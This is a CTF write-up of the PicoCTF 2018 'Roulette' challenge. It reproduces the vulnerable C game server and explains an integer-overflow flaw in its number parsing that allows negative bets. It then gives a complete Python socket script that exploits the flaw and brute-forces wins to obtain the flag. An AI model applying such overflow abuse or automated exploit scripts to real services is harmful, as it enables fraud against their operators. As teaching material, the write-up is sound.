Contact CTF writeups Notes

[PicoCTF 2018] - misc - Roulette

This is one of my writeups for PicoCTF 2018

Problem

This Online Roulette Service is in Beta. Can you find a way to win $1,000,000,000 and get the flag? Connect with nc 2018shell3.picoctf.com 21444

Hint :

  1. There are 2 bugs!

Solution

We are given the source code for the service we have to exploit :

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <limits.h>

#define MAX_NUM_LEN 12
#define HOTSTREAK 3
#define MAX_WINS 16
#define ONE_BILLION 1000000000
#define ROULETTE_SIZE 36
#define ROULETTE_SPINS 128
#define ROULETTE_SLOWS 16
#define NUM_WIN_MSGS 10
#define NUM_LOSE_MSGS 5

long cash = 0;
long wins = 0;

int is_digit(char c) {
    return '0' <= c && c <= '9';
}

long get_long() {
    printf("> ");
    uint64_t l = 0;
    char c = 0;
    while(!is_digit(c))
      c = getchar();
    while(is_digit(c)) {
      if(l >= LONG_MAX) {
            l = LONG_MAX;
            break;
      }
      l *= 10;
      l += c - '0';
      c = getchar();
    }
    while(c != '\n')
      c = getchar();
    return l;
}

long get_rand() {
  long seed;
  FILE *f = fopen("/dev/urandom", "r");
  fread(&seed, sizeof(seed), 1, f);
  fclose(f);
  seed = seed % 5000;
  if (seed < 0) seed = seed * -1;
  srand(seed);
  return seed;
}

long get_bet() {
  while(1) {
    puts("How much will you wager?");
    printf("Current Balance: $%lu \t Current Wins: %lu\n", cash, wins); 
    long bet = get_long(); 
    if(bet <= cash) {
      return bet;
    } else {
      puts("You can't bet more than you have!");
    }
  }
}

long get_choice() {
  while (1) {
    printf("Choose a number (1-%d)\n", ROULETTE_SIZE);
    long choice = get_long();
    if (1 <= choice && choice <= ROULETTE_SIZE) {
      return choice;
    } else {
      puts("Please enter a valid choice.");
    }
  }
}

int print_flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Failed to open the flag file\n");
    return -1;
  }
  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}

const char *win_msgs[NUM_WIN_MSGS] = {
  "Wow.. Nice One!",
  "You chose correct!",
  "Winner!",
  "Wow, you won!",
  "Alright, now you're cooking!",
  "Darn.. Here you go",
  "Darn, you got it right.",
  "You.. win.. this round...",
  "Congrats!",
  "You're not cheating are you?",
};

const char *lose_msgs1[NUM_LOSE_MSGS] = {
  "WRONG",
  "Nice try..",
  "YOU LOSE",
  "Not this time..",
  "Better luck next time..."
};

const char *lose_msgs2[NUM_LOSE_MSGS] = {
  "Just give up!",
  "It's over for you.",
  "Stop wasting your time.",
  "You're never gonna win",
  "If you keep it up, maybe you'll get the flag in 100000000000 years"
};

void spin_roulette(long spin) {
  int n;
  puts("");
  printf("Roulette  :  ");
  int i, j;
  int s = 12500;
  for (i = 0; i < ROULETTE_SPINS; i++) {
    n = printf("%d", (i%ROULETTE_SIZE)+1);
    usleep(s);
    for (j = 0; j < n; j++) {
      printf("\b \b");
    }
  }
  for (i = ROULETTE_SPINS; i < (ROULETTE_SPINS+ROULETTE_SIZE); i++) {
    n = printf("%d", (i%ROULETTE_SIZE)+1);
    if (((i%ROULETTE_SIZE)+1) == spin) {
      for (j = 0; j < n; j++) {
        printf("\b \b");
      }
      break;
    }
    usleep(s);
    for (j = 0; j < n; j++) {
      printf("\b \b");
    }
  }
  for (int k = 0; k < ROULETTE_SIZE; k++) {
    n = printf("%d", ((i+k)%ROULETTE_SIZE)+1);
    s = 1.1*s;
    usleep(s);
    for (j = 0; j < n; j++) {
      printf("\b \b");
    }
  }
  printf("%ld", spin);
  usleep(s);
  puts("");
  puts("");
}

void play_roulette(long choice, long bet) {

  printf("Spinning the Roulette for a chance to win $%lu!\n", 2*bet);
  long spin = (rand() % ROULETTE_SIZE)+1;

  spin_roulette(spin);

  if (spin == choice) {
    cash += 2*bet;
    puts(win_msgs[rand()%NUM_WIN_MSGS]);
    wins += 1;
  }
  else {
    puts(lose_msgs1[rand()%NUM_LOSE_MSGS]);
    puts(lose_msgs2[rand()%NUM_LOSE_MSGS]);
  }
  puts("");
}

int main(int argc, char *argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);

  cash = get_rand();

  puts("Welcome to ONLINE ROULETTE!");
  printf("Here, have $%ld to start on the house! You'll lose it all anyways >:)\n", cash);
  puts("");

  long bet;
  long choice;
  while(cash > 0) {
      bet = get_bet();
      cash -= bet;
      choice = get_choice();
      puts("");

      play_roulette(choice, bet);

      if (wins >= MAX_WINS) {
        printf("Wow you won %lu times? Looks like its time for you cash you out.\n", wins);
        printf("Congrats you made $%lu. See you next time!\n", cash);
        exit(-1);
      }

      if(cash > ONE_BILLION) {
        printf("*** Current Balance: $%lu ***\n", cash);
        if (wins >= HOTSTREAK) {
            puts("Wow, I can't believe you did it.. You deserve this flag!");
            print_flag();
            exit(0);
        }
        else {
          puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!");
          exit(-1);
        }
      }
  }
  puts("Haha, lost all the money I gave you already? See ya later!");
  return 0;
}

Scanning through the source code, we can see the following interesting blocks :

if(cash > ONE_BILLION) {
    printf("*** Current Balance: $%lu ***\n", cash);
    if (wins >= HOTSTREAK) {
        puts("Wow, I can't believe you did it.. You deserve this flag!");
        print_flag();
        exit(0);
    }
    else {
      puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!");
      exit(-1);
    }
  }
}

This shows that we don't only need to win a billion but also to score at least 3 wins (the value of HOTSTREAK).

long get_long() {
    printf("> ");
    uint64_t l = 0;
    char c = 0;
    while(!is_digit(c))
      c = getchar();
    while(is_digit(c)) {
      if(l >= LONG_MAX) {
            l = LONG_MAX;
            break;
      }
      l *= 10;
      l += c - '0';
      c = getchar();
    }
    while(c != '\n')
      c = getchar();
    return l;
}

That's where the first bug is : the code checks if the value being constructed is superior to LONG_MAX, which would flip the sign on the value and allow us to get a negative value. But the check is done before adding the digit being scanned, meaning that the last digit won't be considered.

Since this function is called when choosing the betting amount, we can bet a negative amount and win that amount instead of losing it when the bet is lost.

There's a second bug, but I didn't find it. So I had a way to get the billion needed, but couldn't force the three wins. Sometimes, an inelegant approach just does the work too ... So first I wrote the following script :

import socket


class Player:

    plus_1_dollar = 4294967295

    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.s.connect((host, port))
        # these variables will store the state :
        self.balance = None
        self.wins = None

    def parse_info(self, datastring):
        for line in datastring.split('\n'):
            if line.startswith('Current Balance'):
                # extract the state (balance and number of flags) from output :
                self.balance = int(line[line.find('$')+1:line.find(' \t')])
                self.wins = int(line[-1])
            if 'picoCTF' in line:
                # Print the flag and exit if it is present
                self.flag = line
                print(line)
                exit(line)

    def _receive(self, echo=True):
        databuf = []
        while 1:
            data = self.s.recv(1024)
            databuf.append(data)
            if echo:
                print('... '+data.decode('ascii'))
            if not len(data) or b'>' in data:
                break
        datastring = (''.join(d.decode('ascii') for d in databuf))
        return datastring

    def _send(self, value, nl='\n'):
        self.s.sendall((str(value) +nl).encode('ascii'))

    def bet_7(self, wager, echo=False):
        """
        Bets the given wager on 7 - lucky number !
        """
        self._send(str(wager))

        r = self._receive(echo=echo)

        try:
            self.parse_info(r)
        except BrokenPipeError:
            print(r)
            exit(1)
        self._send('7')

    def recharge(self):
        self.bet_7(self.plus_1_dollar - 20000)

    def try_to_win(self, echo=False):
        self.bet_7(1)

    def __call__(self, *args, **kwargs):
        while True:
            r = self._receive()
            self.parse_info(r)
            # print the current state :
            print(f'balance:{self.balance}')
            print(f'wins:{self.wins}')
            print(f'flag:{self.flag}')
            if self.balance < 10000:
                # give ourselves some credit if we're running out of dollars
                self.recharge()
            elif self.wins < 3:
                self.try_to_win()
            else:
                # 3000000000 will allow us to win a billion
                self.bet_7(3000000000, echo=True)


if __name__ == '__main__':
    while True:
        try:
            player = Player('2018shell3.picoctf.com', 26662)
            player()
        except Exception:
            # Reconnect on failure
            pass

It connects to the server and places bets based on the current state of the game :

  • If the balance is less than 10000$, it places a bet with a negative value that credits us with 20000$
  • If we have less than 3 wins, it places 1$ bets until we reach the required 3 wins
  • If we have three wins, it places a bet with a negative value that credits us a billion.

I then split my terminal in 25 panes and ran the script in all of them until the relatively unlikely 3 wins happened, triggering the 1 billion win and printing the flag.

If it's stupid and it works ...

Note : If you're interested in the proper solution, RoeeSefi publised a writeup that has it.